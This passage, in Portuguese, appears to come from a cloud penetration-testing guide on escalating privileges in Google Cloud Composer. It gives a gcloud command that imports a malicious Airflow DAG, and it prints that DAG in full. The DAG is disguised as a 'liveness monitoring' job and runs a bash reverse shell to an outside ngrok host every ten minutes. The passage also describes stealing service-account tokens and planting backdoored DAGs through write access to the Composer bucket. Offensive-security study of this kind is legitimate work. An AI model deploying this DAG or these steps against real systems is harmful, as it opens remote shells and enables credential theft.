É possível anexar qualquer conta de serviço ao novo ambiente do composer com essa permissão. Mais tarde, você poderia executar código dentro do composer para roubar o token da conta de serviço.
Adicione o código DAG em python em um arquivo e importe-o executando:
# TODO: Create dag to get a rev shellgcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
DAG de shell reversa:
reverse_shell.py
import airflowfrom airflow import DAGfrom airflow.operators.bash_operator import BashOperatorfrom datetime import timedeltadefault_args ={'start_date': airflow.utils.dates.days_ago(0),'retries':1,'retry_delay':timedelta(minutes=5)}dag =DAG('reverse_shell',default_args=default_args,description='liveness monitoring dag',schedule_interval='*/10 * * * *',max_active_runs=1,catchup=False,dagrun_timeout=timedelta(minutes=10),)# priority_weight has type int in Airflow DB, uses the maximum.t1 =BashOperator(task_id='bash_rev',bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',dag=dag,depends_on_past=False,priority_weight=2**31-1,do_xcom_push=False)
Acesso de Escrita ao bucket do Composer
Todos os componentes de um ambiente de composer (DAGs, plugins e dados) são armazenados dentro de um bucket do GCP. Se o atacante tiver permissões de leitura e escrita sobre ele, ele pode monitorar o bucket e sempre que um DAG for criado ou atualizado, enviar uma versão com backdoor para que o ambiente de composer obtenha a versão com backdoor do armazenamento.